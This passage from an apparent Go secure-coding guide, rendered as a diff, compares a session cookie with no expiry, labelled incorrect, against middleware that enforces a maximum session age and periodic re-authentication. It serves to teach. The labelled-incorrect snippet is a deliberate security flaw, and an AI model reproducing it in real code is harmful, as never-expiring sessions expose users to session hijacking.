**Incorrect (sessions never expire or stay valid indefinitely):**
|
|
13
|
+
|
|
14
|
+
```go
|
|
15
|
+
// Session cookie created without expiry or with extremely long duration
|
|
16
|
+
cookie := &http.Cookie{
|
|
17
|
+
Name: "session",
|
|
18
|
+
Value: token,
|
|
19
|
+
} // Defaults to session-only browsers, but logic may never check "age" on server
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Correct (periodic re-authentication/expiry):**
|
|
23
|
+
|
|
24
|
+
```go
|
|
25
|
+
const SessionMaxAge = 24 * time.Hour
|
|
26
|
+
const ReauthInterval = 4 * time.Hour
|
|
27
|
+
|
|
28
|
+
func authMiddleware(next http.Handler) http.Handler {
|
|
29
|
+
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
30
|
+
session := getSession(r)
|
|
31
|
+
|
|
32
|
+
// Check if session is too old
|
|
33
|
+
if time.Since(session.CreatedAt) > SessionMaxAge {
|
|
34
|
+
http.Error(w, "Session expired", 401)
|
|
35
|
+
return
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
// Check if re-authentication is required for sensitive routes
|
|
39
|
+
if time.Since(session.LastAuthenticatedAt) > ReauthInterval {
|
|
40
|
+
session.RequireReauth = true
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
next.ServeHTTP(w, r)
|
|
44
|
+
})
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
// Handler for sensitive operation
|
|
48
|
+
func SensitiveHandler(w http.ResponseWriter, r *http.Request) {
|
|
49
|
+
session := getSession(r)
|
|
50
|
+
if session.RequireReauth {
|
|
51
|
+
http.Error(w, "Re-authentication required", 401)
|
|
52
|
+
return
|
|
53
|
+
}
|
|
54
|
+
// ...
|
|
55
|
+
}
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
**Tools:** Session libraries (e.g., `scs`, `gorilla/sessions`), Manual review
|